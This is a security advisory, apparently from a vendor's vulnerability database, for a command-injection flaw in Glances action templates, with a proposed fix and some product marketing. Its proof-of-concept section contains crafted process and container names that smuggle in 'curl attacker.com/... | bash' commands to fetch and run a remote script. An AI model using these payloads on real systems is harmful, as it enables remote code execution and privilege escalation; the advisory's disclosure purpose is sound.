GHSA-vcv2-q258-wrg7
HIGHGlances has a Command Injection via Process Names in Action Command Templates
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
glancesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.
Details
The action execution flow:
- Admin configures an action in glances.conf (documented feature):
[cpu]
critical_action=echo "High CPU on {{name}}" | mail [email protected]
- When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
-
The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
-
In glances/actions.py:77-78, the Mustache library renders the template:
if chevron_tag:
cmd_full = chevron.render(cmd, mustache_dict)
- The rendered command is passed to secure_popen() (glances/actions.py:84):
ret = secure_popen(cmd_full)
The secure_popen vulnerability (glances/secure.py:17-30):
def secure_popen(cmd):
ret = ""
for c in cmd.split("&&"):
ret += __secure_popen(c)
return ret
And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.
Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:
if stdout_redirect is not None:
with open(stdout_redirect, "w") as stdout_redirect_file:
stdout_redirect_file.write(ret)
PoC
Scenario 1: Command injection via pipe in process name
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
# 3. When the process triggers a critical alert, secure_popen splits by |:
# Command 1: echo "ALERT: innocent
# Command 2: curl attacker.com/evil.sh <-- INJECTED
# Command 3: bash used 99% CPU" >> /tmp/alerts.log
Scenario 2: Command chain via && in container name
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream
# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
# 3. secure_popen splits by &&:
# Command 1: docker stats web
# Command 2: curl attacker.com/rev.sh | bash <-- INJECTED
# Command 3: echo --no-stream
Impact
-
Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
-
Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
-
Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.
-
Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.
Recommended Fix
Sanitize Mustache-rendered values before secure_popen processes them:
# glances/actions.py
def _escape_for_secure_popen(value):
"""Escape characters that secure_popen treats as operators."""
if not isinstance(value, str):
return value
value = value.replace("&&", " ")
value = value.replace("|", " ")
value = value.replace(">", " ")
return value
def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
for cmd in commands:
if chevron_tag:
if mustache_dict:
safe_dict = {
k: _escape_for_secure_popen(v) if isinstance(v, str) else v
for k, v in mustache_dict.items()
}
else:
safe_dict = mustache_dict
cmd_full = chevron.render(cmd, safe_dict)
else:
cmd_full = cmd
...
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | glances | all versions | 4.5.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update glances to 4.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vcv2-q258-wrg7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vcv2-q258-wrg7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vcv2-q258-wrg7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vcv2-q258-wrg7 in your dependencies?
O3 detects GHSA-vcv2-q258-wrg7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.